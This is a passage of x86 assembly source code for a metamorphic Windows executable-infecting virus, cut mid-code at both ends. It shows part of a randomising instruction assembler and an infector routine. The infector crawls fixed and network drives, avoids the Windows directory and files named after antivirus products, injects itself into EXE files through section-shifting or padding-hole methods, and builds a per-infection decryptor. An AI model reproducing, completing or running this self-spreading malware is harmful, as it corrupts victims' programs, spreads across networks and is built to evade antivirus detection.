FF,(10+mem. ref) mov ebx, 10h jmp @@Assemble_Nxx8Mem ; Code mem address @@Assemble_Next15: cmp eax, 0EBh ; JMP Mem? jnz @@Assemble_Next16 mov eax, 0FFh ; Then set the opcode: mov ebx, 20h ; FF,(20+mem ref.) jmp @@Assemble_Nxx8Mem @@Assemble_Next16: cmp eax, 0ECh ; CALL Reg? jnz @@Assemble_Next17 mov eax, 0FFh ; Then use the same opcode than mov ebx, 0D0h ; CALL Mem but ORing the 2nd opcode jmp @@Assemble_Nxx8Reg ; with C0 (bits 7&6 active), so we ; tell the processor to use bits 2,1,0 ; as a direct register rather than as ; a memory address codification @@Assemble_Next17: cmp eax, 0EDh ; JMP Reg? jnz @@Assemble_Next18 mov eax, 0FFh ; Then, the same as above but with mov ebx, 0E0h ; 2nd opcode = 20h OR C0h jmp @@Assemble_Nxx8Reg @@Assemble_Next18: cmp eax, 0F0h ; SHIFT Reg operation? jnz @@Assemble_Next19 mov eax, [esi+7] ; Get the value and eax, 0FFh cmp eax, 1 ; If it's 1, we can use SHIFT,1 ops. jz @@Assemble_SHIFT_1 @@Assemble_SHIFT_2: mov ecx, 0C1h ; Use opcode C1 and a mask of E0 to mov edx, 0E0h ; get random upper bits in the shift @@Assemble_SHIFT8_1_00: ; value call @@Assemble_SHIFT_x ; Set the opcode and the operation mov ebx, [esi+7] ; Get the value and ebx, 0FFh call Random ; Get a random number and eax, edx ; Mask it with EDX (00 or E0) add eax, ebx ; Add the value to shift mov [edi], eax ; Set the Imm in the instruction add edi, 1 ret ; Return @@Assemble_SHIFT_1: call RandomBoolean ; Select randomly if we use the ,1 or eax, eax ; opcode or the ,x one jz @@Assemble_SHIFT_2 mov ecx, 0D1h ; Opcode D1: SHIFT Mem/Reg,1 @@Assemble_SHIFT_x: mov [edi], ecx ; Set the opcode in ECX add edi, 1 mov ebx, [esi+8] ; Get the operation and ebx, 8 ; Reduce it to SHIFT LEFT/RIGHT add ebx, 0C0h ; Select randomly SHL/ROL or SHR/ROR. call Random ; We have prepared the shifting instr. and eax, 20h ; in the engine to support either SHx add ebx, eax ; or ROx indifferently mov eax, [esi+1] ; Get the register and eax, 7 add eax, ebx ; Set it into the opcode mov [edi], eax ; Insert the opcode add edi, 1 ret @@Assemble_Next19: cmp eax, 0F2h ; SHIFT Reg8? jnz @@Assemble_Next20 mov eax, [esi+7] ; Get the value and eax, 0FFh ; Check if it's 1 to see if we can cmp eax, 1 ; use the ,1 opcode jz @@Assemble_SHIFT8_1 @@Assemble_SHIFT8_2: mov ecx, 0C0h ; Set 1st opcode as C0 xor edx, edx ; Mask with 00 the upper bits of the jmp @@Assemble_SHIFT8_1_00 ; shifting value @@Assemble_SHIFT8_1: call RandomBoolean ; Select randomly the using of ,1/,x or eax, eax jz @@Assemble_SHIFT8_2 mov ecx, 0D0h ; Set 1st opcode as D0 jmp @@Assemble_SHIFT_x ; Jump to complete the opcode @@Assemble_Next20: cmp eax, 0F1h ; SHIFT Mem? jnz @@Assemble_Next21 mov eax, [esi+7] and eax, 0FFh ; Check the value to look if we can cmp eax, 1 ; use ,1 or ,x jz @@Assemble_SHIFTMem_1 @@Assemble_SHIFTMem_2: mov ecx, 0C1h ; Opcode C1, mask E0 mov edx, 0E0h @@Assemble_SHIFT8Mem_1_00: push edx ; Make the opcode call @@Assemble_SHIFTMem_x pop edx ; Set the value with random upper mov ebx, [esi+7] ; bits for 32 bits shiftings (mask of and ebx, 0FFh ; E0) or upper bits to 0 if 8 bits call Random ; mask of 00) and eax, edx add eax, ebx mov [edi], eax add edi, 1 ret @@Assemble_SHIFTMem_1: call Random ; Do we use the ,x opcode? or eax, eax jz @@Assemble_SHIFTMem_2 ; Jump if we decided to use it! mov ecx, 0D1h ; Set D1 opcode @@Assemble_SHIFTMem_x: mov [edi], ecx ; Set the opcode add edi, 1 mov ebx, [esi+8] ; Get the direction of the shift and ebx, 8 call Random and eax, 20h ; Select SHx or ROx add ebx, eax ; Set it in EBX to mix it with the call Asm_MakeMemoryAddress ; 2nd opcode and code the ret ; memory address in the 2nd opc. @@Assemble_Next21: cmp eax, 0F3h ; SHIFT Mem8? jnz @@Assemble_Next22 mov eax, [esi+7] ; Just the same as above but with and eax, 0FFh ; opcodes C0 and D0 instead of C1 and cmp eax, 1 ; D1. And, of course, a mask of 00, jz @@Assemble_SHIFT8Mem_1 ; because the 8 bits shiftings @@Assemble_SHIFT8Mem_2: ; don't ignore the upper bits mov ecx, 0C0h ; as the 32 bits instructions do xor edx, edx ; (don't ask me why) jmp @@Assemble_SHIFT8Mem_1_00 @@Assemble_SHIFT8Mem_1: call RandomBoolean or eax, eax jz @@Assemble_SHIFT8Mem_2 mov ecx, 0D0h jmp @@Assemble_SHIFTMem_x @@Assemble_Next22: cmp eax, 0FCh ; LEA Reg,[Mem]? jnz @@Assemble_Next23 mov eax, 8Dh ; Then, insert a LEA opcode (8D), set mov [edi], eax ; in bits 5,4,3 the destiny register add edi, 1 ; and code the memory address. mov ebx, [esi+7] and ebx, 7 shl ebx, 3 call Asm_MakeMemoryAddress ret @@Assemble_Next23: cmp eax, 0FDh ; Direct byte insertion? jnz @@Assemble_Next24 mov eax, [esi+1] ; Then, insert it jmp @@Assemble_StoreByte @@Assemble_Next24: cmp eax, 0FEh ; RET? jnz @@Assemble_Next25 mov eax, 0C3h ; Then, insert the RET opcode jmp @@Assemble_StoreByte @@Assemble_Next25: cmp eax, 0FFh ; NOP? jnz @@Assemble_Next26 mov eax, 90h ; Then, insert the NOP opcode jmp @@Assemble_StoreByte @@Assemble_Next26: cmp eax, 70h ; Jcc? jb @@Assemble_Next27 cmp eax, 7Fh ja @@Assemble_Next27 mov eax, [esi+7] ; Get the type of jump: normal or or eax, eax ; inversed (JNZ/JMP rather than JZ) jz @@Assemble_Jump_Normal mov eax, [esi] ; Inverse the condition xor eax, 1 mov [edi], eax ; Store the opcode add edi, 1 ; Increase the EIP push edi ; Save the EIP add edi, 1 mov eax, 0E9h ; Make a JMP to the label mov [esi], al call @@Assemble_Jump_Normal pop ebx ; Get the old EIP in EBX mov eax, edi ; Get the current EIP sub eax, ebx ; Calculate the displacement in EAX sub eax, 1 ; Add 1 to overpass the Jcc itself mov [ebx], al ; Store the displacement ret @@Assemble_Next27: cmp eax, 0F8h ; MOVZX Reg,[Mem8]? jnz @@Assemble_Next28 mov eax, 0B60Fh ; Set the MOVZX opcode mov [edi], eax add edi, 2 mov ebx, [esi+7] ; Get the register and bind it to the and ebx, 7 ; memory address codification in the shl ebx, 3 ; 2nd opcode call Asm_MakeMemoryAddress ret @@Assemble_Next28: ; cmp eax, 0E8h ; Here only can be opcodes E8 or E9 ; jmp @@Assemble_Jump_Normal @@Assemble_Jump_Normal: mov ebx, [esi+1] ; Get the label mov eax, [ebx+4] ; Get the pointed address cmp eax, esi ; Have we coded it already? jb @@Assemble_Jump_Backwards @@Assemble_Jump_Fowards: mov ebx, eax ; Get the distance sub ebx, esi cmp ebx, 0B0h ; 11 (max size of instruction) * 0Bh = 121. ; It must be < 128 to code a short Jcc jbe @@Assemble_JmpFwd_Short @@Assemble_JmpFwd_Long_Set00: mov eax, [esi] ; Set the opcode and eax, 0FFh cmp eax, 7Fh ; Jcc? jbe @@Assemble_JmpFwd_Long_Jcc @@Assemble_JmpFwd_Long_Set: mov [edi], eax ; Set the opcode call Asm_AddToRelocTable ; Add it to the post-assembly add edi, 5 ; relocation work ret @@Assemble_JmpFwd_Long_Jcc: mov eax, 0Fh ; Set the opcode 0F mov [edi], eax add edi, 1 mov eax, [esi] ; Get the Jcc opcode, add 10h to it add eax, 10h ; (by x86 specifications :) and set jmp @@Assemble_JmpFwd_Long_Set ; it in the same way the ; short one. @@Assemble_JmpFwd_Short: call Random ; Get a random decision over the and eax, 7 ; codification of this jump: short or eax, eax ; or long? (long with a 1/8 of prob.) jz @@Assemble_JmpFwd_Long_Set00 mov eax, [esi] ; Get the opcode and eax, 0FFh cmp eax, 0E8h ; CALL? jz @@Assemble_JmpFwd_Long_Set ; Then, set long for sure cmp eax, 0E9h ; JMP? jz @@Assemble_JmpFwd_Short_JMP ; Then, set short @@Assemble_JmpFwd_Short_Set: mov [edi], eax ; Set the opcode call Asm_AddToRelocTable ; Add it to post-assembly add edi, 2 ; relocations ret @@Assemble_JmpFwd_Short_JMP: add eax, 2 ; Convert the E9 opcode to EB jmp @@Assemble_JmpFwd_Short_Set @@Assemble_Jump_Backwards: mov ebx, [eax+0Ch] ; Get the address of the label sub ebx, edi sub ebx, 2 ; Get the displacement in EBX cmp ebx, 0FFFFFF80h ; If backwards displacement <= 128, jb @@Assemble_Jump_Backwards_Long ; we can use short jumps. ; If not, jump mov eax, [esi] ; Get the opcode cmp al, 0E8h ; If it's CALL, it's long (and just jz @@Assemble_Jump_Backwards_Long ; imagine a fist hitting ; a table categorically XD) call Random and eax, 7 or eax, eax ; Get a random decision to code it jz @@Assemble_Jump_Backwards_Long ; short or long mov eax, [esi] cmp al, 0E9h ; JMP opcode? jnz @@Assemble_Jump_StoreOpcode_Short ; If not, jump add eax, 2 ; Make it 0EBh @@Assemble_Jump_StoreOpcode_Short: mov [edi], eax ; Store the opcode add edi, 1 mov [edi], ebx ; Store the displacement add edi, 1 ret @@Assemble_Jump_Backwards_Long: mov eax, [esi] ; Get the opcode cmp al, 0E9h ; JMP? jz @@Assemble_Jump_Backwards_JMP ; Then, jump there cmp al, 0E8h ; CALL? jz @@Assemble_Jump_Backwards_JMP ; Then, jump there sub ebx, 4 ; Subtract the length that we haven't mov eax, 0Fh ; subtracted yet mov [edi], eax ; Set the first opcode of the long Jcc add edi, 1 mov eax, [esi] ; Set the 2nd opcode add eax, 10h @@Assemble_Jump_Backwards_Long_Common: mov [edi], eax ; Set the opcode add edi, 1 mov [edi], ebx ; Set the displacement add edi, 4 ret @@Assemble_Jump_Backwards_JMP: sub ebx, 3 ; Set the opcode (JMP or CALL) jmp @@Assemble_Jump_Backwards_Long_Common ret AssembleInstruction endp ;; This function adds the current storage EIP to the post-assembly relocation ;; table. After all the code is assembled, we'll fix the displacements stored ;; in this table. Asm_AddToRelocTable proc mov ebx, [ebp+JumpRelocationTable] ; Get the last element mov ecx, [ebp+NumberOfJumpRelocations] ; of the table add ebx, ecx mov [ebx], edi ; Store the address for fixing mov eax, [esi+1] ; Store the label of destiny mov [ebx+4], eax add ecx, 8 ; Increase the last element pointer mov [ebp+NumberOfJumpRelocations], ecx ret Asm_AddToRelocTable endp ;; This function will construct the opcode reference to a memory address using ;; the common memory address structure of our pseudoassembler. It will recode ;; the address using randomly one of the possible codifications for every ;; situation, as I expose here: ;; ;; Memory codification variants: ;; ;; Direct address ;; 05 xx xx xx xx ;; 04 25 xx xx xx xx ;; ;; 1 index + 0 ;; 0x (not valid if x = 5) ;; 4x 00 ;; 8x 00 00 00 00 ;; 04 00xxx101 00 00 00 00 ;; 44 00100xxx 00 ;; 84 00100xxx 00 00 00 00 ;; 1 index + byte (< 80h or > FFFFFF7Fh) ;; 4x yy ;; 8x yy ss ss ss ;; 04 00xxx101 yy ss ss ss ;; 44 00100xxx yy ;; 84 00100xxx yy ss ss ss ;; 1 index + dword ;; 8x yy yy yy yy ;; 04 00xxx101 yy yy yy yy ;; 84 00100xxx yy yy yy yy ;; 1 index * N + 0 ;; 04 nnxxx101 00 00 00 00 ;; 1 index * N + byte ;; 04 nnxxx101 yy ss ss ss ;; 1 index * N + dword ;; 04 nnxxx101 yy yy yy yy ;; ;; 2 index + 0 (xx(*nn),yy,zzzzzzzz) ;; 04 nnxxxyyy (yyy != 5) ;; 44 nnxxxyyy 00 ;; 84 nnxxxyyy 00 00 00 00 ;; 2 index + byte (<80h or > FFFFFF7Fh) (xx(*nn),yy,zzzzzzzz) ;; 44 nnxxxyyy zz ;; 84 nnxxxyyy zz ss ss ss ;; 2 index + dword (xx(*nn),yy,zzzzzzzz) ;; 84 nnxxxyyy zz zz zz zz ;; ;; The codification of the memory address will be done at [EDI], while EBX ;; can hold a value to OR to the 1st codified opcode (for example, registers ;; or operations that must be in this opcode). The function returns with all ;; prepared to follow the codification, this means, all the pointers ;; are increased and the memory address is completely finished, not having ;; to make anything more related with the memory address. ;; Asm_MakeMemoryAddress proc mov ecx, [esi+1] and ecx, 0FFh mov eax, [esi+2] and eax, 0FFh cmp eax, ecx jae @@Next00 mov edx, eax jmp @@Next01 @@Next00: mov edx, ecx mov ecx, eax ; Now, ECX > EDX. ECX will hold also the multiplicator if we use one for ; this instruction. If not, it could be exchanged with EDX further on the ; algorithm. @@Next01: cmp edx, 8 ; I decided to not commenting this :). jz @@NoIndex1 ; The code is clear and understandable, cmp ecx, 8 ; and I'm tired of commenting code! jz @@Only1Index cmp ecx, 7 ja @@NoExchange call RandomBoolean or eax, eax jz @@NoExchange mov eax, ecx mov ecx, edx mov edx, eax @@NoExchange: mov eax, [esi+3] or eax, eax jz @@2Index_0 cmp eax, 7Fh jbe @@2Index_Byte cmp eax, 0FFFFFF80h jae @@2Index_Byte @@2Index_Dword: mov eax, 84h @@2Index_Dword_Subr: push eax mov eax, ecx and eax, 0C0h shl ecx, 3 and ecx, 38h add eax, ecx add edx, eax pop eax jmp @@SetMemory01 @@2Index_Byte: call RandomBoolean or eax, eax jz @@2Index_Dword mov eax, 44h call @@2Index_Dword_Subr sub edi, 3 ret @@2Index_0: call RandomBoolean or eax, eax jz @@2Index_Byte cmp edx, 5 jz @@2Index_Byte mov eax, 04h call @@2Index_Dword_Subr sub edi, 4 ret @@Only1Index: ; EDX = Index, no scalar (if not, it would be ECX) mov eax, [esi+3] or eax, eax jz @@Only1Index_0 cmp eax, 7Fh jbe @@Only1Index_Byte cmp eax, 0FFFFFF80h jae @@Only1Index_Byte @@Only1Index_Dword: call Random and eax, 3 or eax, eax jz @@Only1Index_Dword cmp eax, 1 jz @@Only1Index_Dword_01 cmp eax, 2 jz @@Only1Index_Dword_02 @@Only1Index_Dword_03: mov eax, 84h add edx, 20h jmp @@SetMemory01 @@Only1Index_Dword_02: mov eax, 04h shl edx, 3 add edx, 5 jmp @@SetMemory01 @@Only1Index_Dword_01: add edx, 80h add edx, ebx mov [edi], edx mov eax, [esi+3] mov [edi+1], eax add edi, 5 ret @@Only1Index_Byte: call RandomBoolean or eax, eax jz @@Only1Index_Dword call RandomBoolean or eax, eax jz @@Only1Index_Byte_01 @@Only1Index_Byte_02: mov eax, 44h add eax, ebx mov [edi], eax add edx, 20h mov [edi+1], edx mov eax, [esi+3] mov [edi+2], eax add edi, 3 ret @@Only1Index_Byte_01: add edx, 40h add edx, ebx mov [edi], edx mov eax, [esi+3] mov [edi+1], eax add edi, 2 ret @@Only1Index_0: call RandomBoolean or eax, eax jz @@Only1Index_Byte cmp edx, 5 jz @@Only1Index_Byte add edx, ebx mov [edi], edx add edi, 1 ret @@NoIndex1: cmp ecx, 8 ; If EDX = 8, then ECX >= 8 jz @@DirectAddress mov edx, ecx and edx, 0C0h and ecx, 7 shl ecx, 3 add edx, ecx add edx, 5 mov eax, 4 @@SetMemory01: add eax, ebx mov [edi], eax mov [edi+1], edx mov eax, [esi+3] mov [edi+2], eax add edi, 6 ret @@DirectAddress: mov eax, 05h add eax, ebx mov [edi], eax mov eax, [esi+3] mov [edi+1], eax add edi, 5 ret Asm_MakeMemoryAddress endp ;; ;; ;; End of the assembler ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; KEYWORD: Key_!Infector ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ********************************************************************** ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; The infector ;; ------------ ;; ;; The infector is the part that brings this virus the category of "virus" :). ;; The infection made here is quite complex: there are three types of ;; supported modes, depending on the configuration of the executable: ;; ;; 1) Midinfection with section shifting ;; ;; The most difficult to make but also the most difficult to detect. It ;; can only be performed if there is a .reloc section in the executable. ;; We extend the end of the .text section and we shift down the sections ;; under this one. In this way, the decryptor/copier executes in the ;; .text section without overwriting code. The data being encrypted/moved ;; is stored at the beginning of the .data section: again, we shift the ;; sections down but this time extending the size of .data and all the ;; bytes stored here are shifted down. ;; To make this, all the offset references to points of the executable that ;; are going to be shifted down must be updated: we do that with the help ;; of the .reloc section. ;; ;; 2) Midinsertion of the decryptor, data at last section ;; ;; If we cannot make the first infection method we pass to this one. We ;; look for holes in the section padding (virtual or physical holes), ;; calculate the maximum size the decryptor can have there and we insert ;; it. The virus data will be stored at the end of the last section, but ;; without modifying the flags of the section (at least must be readable). ;; In fact, if the section is writable we don't infect that executable. ;; ;; 3) All data at last section ;; ;; If there aren't holes between sections or the padding isn't enough big ;; to hold a minimum fixed size, then we make a standard infection: we make ;; the last section bigger and put all the code there (the 29A technique). ;; ;; The infection mark will be the field of the CRC of the executable. If the ;; CRC is 0, the file is already infected. If not, the file is clean and we ;; set that field to 0 if we successfully infected the file. Since there are ;; lots of files with this field being 0, the detection can't rely on the ;; infection mark. ;; ;; InfectFiles proc xor eax, eax ; Set the directory deepness to 0 mov [ebp+DirectoryDeepness], eax call InfectFiles2 ; First, the current directory mov ebx, [ebp+FindFileData] add ebx, 1000h @@LoopGetDrives: xor eax, eax ; Now set again this to 0 mov [ebp+DirectoryDeepness], eax push eax ; Get the logical drives in this computer. push ecx push edx mov eax, [ebp+FindFileData] add eax, 1000h push eax mov eax, 200h push eax call dword ptr [ebp+RVA_GetLogicalDriveStringsA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax ; If error, exit jz @@Error2 push eax push ecx push edx mov eax, ebx ; Get the type of drive. We only infect push eax ; it if it's DRIVE_FIXED (3) or call dword ptr [ebp+RVA_GetDriveTypeA] ; DRIVE_NETWORK (4) mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] cmp eax, 3 ; DRIVE_FIXED jz @@InfectDrive cmp eax, 4 ; DRIVE_NETWORK jnz @@NextDrive @@InfectDrive: push eax push ecx push edx ; APICALL_BEGIN mov eax, ebx push eax ; Avoid a sequence of 4 pushes (just in case) call dword ptr [ebp+RVA_SetCurrentDirectoryA] mov [ebp+ReturnValue], eax pop edx pop ecx ; Set the current directory as the pop eax ; drive string returned by the function mov eax, [ebp+ReturnValue] or eax, eax jz @@Error2 ; If error, return push ebx call InfectFiles2 ; Infect the drive. pop ebx @@NextDrive: @@LoopFindNull: add ebx, 1 ; Get the next drive. If we reach to mov eax, [ebx] ; a double NULL, then exit (end of and eax, 0FFh ; drives string). or eax, eax jnz @@LoopFindNull add ebx, 1 mov eax, [ebx] and eax, 0FFh or eax, eax jnz @@LoopGetDrives ; Next drive @@Error2: ret InfectFiles endp ;; This function is a separated one from above to allow recursivity. When we ;; infect a directory, we can get more directories in the file listing, so ;; we set that directory as the current and we call this function again (but ;; first increasing the directory deepness to avoid infecting all the drive ;; every execution). InfectFiles2 proc push eax push ecx push edx ; APICALL_BEGIN mov eax, [ebp+FindFileData] push eax mov edx, [ebp+OtherBuffers] push edx mov eax, '*.*' ; Get all files mov [edx], eax call dword ptr [ebp+RVA_FindFirstFileA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] cmp eax, -1 jz @@Error mov [ebp+hFindFile], eax @@TouchAgain: mov edx, [ebp+FindFileData] ; Get the attributes mov eax, [edx] and eax, 10h ; Check if it's a directory or eax, eax jz @@TryToInfectFile ; If it isn't, jump to try to infect mov eax, [ebp+DirectoryDeepness] cmp eax, 3 ; If we are too deep in recursivity jz @@InfectNextFile ; just ignore the directory. mov eax, [edx+2Ch] and eax, 0FFFFFFh ; See if the directory name is ".." cmp eax, '..' jz @@InfectNextFile ; If it is, ignore it and eax, 0FFFFh cmp eax, '.' ; Is it "."? jz @@InfectNextFile ; Then, ignore it and eax, 01Fh cmp eax, 'W' AND 1Fh ; Do the name begins with "W"? jz @@InfectNextFile ; Then, ignore it. In this way we ; avoid infecting files in the Windows ; directory (and the action of the SFP ; noticing the user). push eax push ecx push edx ; APICALL_BEGIN mov eax, edx add eax, 2Ch ; Set the directory as the current. push eax call dword ptr [ebp+RVA_SetCurrentDirectoryA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax ; If we couldn't, find next file jz @@InfectNextFile mov eax, [ebp+DirectoryDeepness] add eax, 1 ; Increase the directory recurs. mov [ebp+DirectoryDeepness], eax mov eax, [ebp+hFindFile] ; Save the FileFind handle push eax call InfectFiles2 ; Calling me from my guts! pop eax mov [ebp+hFindFile], eax ; Restore the FileFind handle mov eax, [ebp+DirectoryDeepness] sub eax, 1 ; Decrease the directory deepness mov [ebp+DirectoryDeepness], eax mov edx, [ebp+FindFileData] mov eax, '..' ; Set as current the directory mov [edx], eax ; above in the tree. Doing this ; we avoid to save everytime the name push eax ; of the directory we came from. push ecx push edx mov eax, edx push eax ; Set ".." as the current directory call dword ptr [ebp+RVA_SetCurrentDirectoryA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jz @@Error2 ; If error, just finish the infection jmp @@InfectNextFile ; If no error, continue ;; Here if we found a file @@TryToInfectFile: xor eax, eax call RandomBoolean_X000_3 ;call RandomBoolean ; WEIGHT_X000 or eax, eax jz @@InfectNextFile ; Infect only the 50% of the files ; but based on our genetic algorithm. By evolution, ; only the more spreaded or the more stealthy will ; "survive". mov edx, [ebp+FindFileData] add edx, 2Ch ; EDX = offset to the file name ;; Uncomment this for debugging the virus. With this code the virus will only ;; infect files starting with "goat" ; mov eax, [edx] ; and eax, 1F1F1F1Fh ; cmp eax, 'taog' AND 1F1F1F1Fh ; jnz @@InfectNextFile mov eax, [edx] ; Get the two first letters and eax, 1F1Fh cmp eax, '-F' AND 1F1Fh ; Check for F-PROT jz @@InfectNextFile ; If it is, avoid the infection cmp eax, 'AP' AND 1F1Fh ; Check for PANDA jz @@InfectNextFile cmp eax, 'CS' AND 1F1Fh ; Check for SCAN*, SCN*, etc. jz @@InfectNextFile cmp eax, 'RD' AND 1F1Fh ; Check for DRWEB jz @@InfectNextFile cmp eax, 'ON' AND 1F1Fh ; Check for NOD-ICE, NORTON, etc. jz @@InfectNextFile mov ebx, edx @@LoopFindExtension: mov eax, [ebx] ; Avoid files with a "V" in the name. and eax, 01Fh ; With that we avoid AVP, NAV, and lots cmp eax, 'V' AND 1Fh ; of antivirus. jz @@InfectNextFile or eax, eax jz @@CheckExtension add ebx, 1 jmp @@LoopFindExtension @@CheckExtension: mov eax, [ebx-4] ; Finally, is it an EXE file? and eax, 1F1F1FFFh cmp eax, 'EXE.' AND 1F1F1FFFh jnz @@InfectNextFile ; If not, don't infect! @@InfectFile: call TouchFile ; Infect the file with our brand recently @@InfectNextFile: ; reassembled code. push eax push ecx push edx ; APICALL_BEGIN mov eax, [ebp+FindFileData] push eax mov eax, [ebp+hFindFile] push eax call dword ptr [ebp+RVA_FindNextFileA] mov [ebp+ReturnValue], eax ; Find the next file/dir of pop edx ; the directory pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] ; If error, finish or eax, eax jnz @@TouchAgain @@Error2: push eax push ecx push edx ; APICALL_BEGIN mov eax, [ebp+hFindFile] ; Close the FindFile handle push eax call dword ptr [ebp+RVA_FindClose] pop edx pop ecx pop eax ; APICALL_END @@Error: ret InfectFiles2 endp ;; This function infects the file. It saves the original attributes, clears ;; them (removing any read-only setting), opens a mapping of the file and ;; performs all the operations. After that, it uses the info in the FindFile ;; data to restore the original date/time, restores the attributes and exits. TouchFile proc mov [ebp+Addr_FilePath], edx ; Save the file path address push eax push ecx push edx ; APICALL_BEGIN push edx call dword ptr [ebp+RVA_GetFileAttributesA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] ; If there was an error getting cmp eax, -1 ; the attributes just exit jz @@Error_ mov [ebp+FileAttributes], eax ; Save the attributes push eax push ecx push edx ; APICALL_BEGIN push 80h mov eax, [ebp+Addr_FilePath] ; Set normal file attributes push eax call dword ptr [ebp+RVA_SetFileAttributesA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] or eax, eax jz @@Error_ ; If error, finish push eax push ecx push edx ; APICALL_BEGIN push 0 push 0 push 3 ; OPEN_EXISTING push 0 push 0 push 0C0000000h ; Generic read & write push edx call dword ptr [ebp+RVA_CreateFileA] ; Open the file mov [ebp+ReturnValue], eax pop edx pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] cmp eax, -1 ; If error, finish jz @@Error mov [ebp+hFile], eax push eax push ecx push edx ; APICALL_BEGIN push 0 push eax call dword ptr [ebp+RVA_GetFileSize] mov [ebp+ReturnValue], eax pop edx ; Get the current file size. pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] or eax, eax jz @@Error2 ; If error, finish mov [ebp+FileSize], eax ; Set the tracking size mov [ebp+OriginalFileSize], eax ; Set the original size push eax push ecx push edx ; APICALL_BEGIN push 0 add eax, [ebp+RoundedSizeOfNewCode] add eax, 1000h ; Maximum size of decryptor push eax push 0 push 4 ; PAGE_READWRITE push 0 mov eax, [ebp+hFile] ; Create a file mapping with a push eax ; size of original file's size + call dword ptr [ebp+RVA_CreateFileMappingA] ; + the new size mov [ebp+ReturnValue], eax ; of the virus + the maximum pop edx ; size we use for a decryptor pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] or eax, eax jz @@Error2 ; If error, just finish mov [ebp+hMapping], eax push eax push ecx push edx ; APICALL_BEGIN push 0 push 0 push 0 push 0F001Fh push eax call dword ptr [ebp+RVA_MapViewOfFile] mov [ebp+ReturnValue], eax pop edx ; Map a view of the file mapping pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] or eax, eax jz @@Error3 ; If error, exit mov dword ptr [ebp+MappingAddress], eax ; Set the address ; Needed variables: ; [MappingAddress] = Mapping address of file. The mapping ; must have the size of the two holes already increased. ; Return: ; EAX = 0 if everything is OK, ; [HeaderAddress] = PE header address ; [Phys_TextHole] = Physical address of hole in code section ; [RVA_TextHole] = Virtual address of hole in code section ; [Phys_DataHole] = Physical address of hole in data section ; [RVA_DataHole] = Virtual Address of hole in data section ; [ExitProcessAddress] != 0 if ExitProcess was found and ; patched to point to the zone the decryptor is going to be. ; EAX != 0 if something failed xor eax, eax ; Initialize the Undo buffer (for mov [ebp+NumberOfUndoActions], eax ; undo the changes to ; the file if we had an error) call PrepareFile ; Make the holes or eax, eax ; Error? jnz @@Error4 ; EAX != 0 if error, so exit mov ebx, [ebp+MappingAddress] ; Get the physical address add ebx, [ebp+Phys_TextHole] ; in the mapping where the ; decryptor must be. ;;;;;; ; Now we create the decryptor and we copy the code, which will be unencrypted ; once in every 16 infections ;;;;;; mov ecx, [ebp+MaxSizeOfDecryptor] ; Get the maximum size cmp ecx, 400h ; we can have for the decryptor jbe @@SetSizeOfExpansionTo0 ; If it's 400h, set a size of mov eax, 1 ; expansion to the Expander of call RandomBoolean_X000_3 ; 0 (three recursivity levels). or eax, eax jz @@SetSizeOfExpansionTo0 ; Also we can select randomly ; that level instead of a deeper ; one (genetically!) mov eax, -1 ; Set the initial level to -1 jmp @@SetSizeOfExpansion ; (four levels of recursivity). @@SetSizeOfExpansionTo0: mov eax, 2 call RandomBoolean_X000_3 ; Get a random TRUE or FALSE ; depending on previous ; generations values. or eax, eax ; If FALSE, set only two levels jz @@SetSizeOfExpansionTo1 ; of recursivity (set the initial xor eax, eax ; level to 1) jmp @@SetSizeOfExpansion @@SetSizeOfExpansionTo1: mov eax, 1 @@SetSizeOfExpansion: mov [ebp+SizeOfExpansion], eax ; Set -1, 0 or 1 (depending ; on all the conditions above) @@CheckWithOtherSizeOfExpansion: mov ecx, 3 ; Set the number of times we'll try ; to get a decryptor with a size that ; fits into the maximum size set. @@GenerateOther: push ecx ; Save the count mov edi, [ebp+DecryptorPseudoCode] ; Get the storage addr. mov eax, [ebp+VirtualAllocAddress] ; Save this address push eax call MakeDecryptor ; Make a decryptor for this infection pop eax ; Restore this address mov [ebp+VirtualAllocAddress], eax pop ecx ; Decrease the number of times we sub ecx, 1 ; can repeat the decryptor generation mov eax, [ebp+SizeOfDecryptor] ; Check the size of the cmp eax, [ebp+MaxSizeOfDecryptor] ; new decryptor. jbe @@SizeOfDecryptorOK ; If it fits, jump or ecx, ecx ; ECX = 0? jnz @@GenerateOther ; If not, generate other mov eax, [ebp+SizeOfExpansion] ; Check if the size of cmp eax, 2 ; expansion is already the minimum. jz @@InsertExitProcess ; If it is, insert directly a call ; to ExitProcess (to make the host run without problems). add eax, 1 ; If not, decrease the recursivity mov [ebp+SizeOfExpansion], eax ; the expander can make and jmp @@CheckWithOtherSizeOfExpansion ; try again. ; Here we insert a call to ExitProcess if we couldn't generate a decryptor ; following our specifications. @@InsertExitProcess: mov edi, [ebp+Phys_TextHole] ; Get the address for add edi, [ebp+MappingAddress] ; code insertion mov eax, 6Ah mov [edi], eax ; Insert "PUSH 0" add edi, 2 ; xor eax, eax ; mov [edi], eax ; add edi, 1 mov eax, 15FFh ; Insert "CALL ExitProcess" mov [edi], eax add edi, 2 mov eax, [ebp+ExitProcessAddress] mov [edi], eax jmp @@Exit @@SizeOfDecryptorOK: ; Now let's copy the decryptor in the mov esi, [ebp+AssembledDecryptor] ; hole we made for it. mov edi, [ebp+Phys_TextHole] add edi, 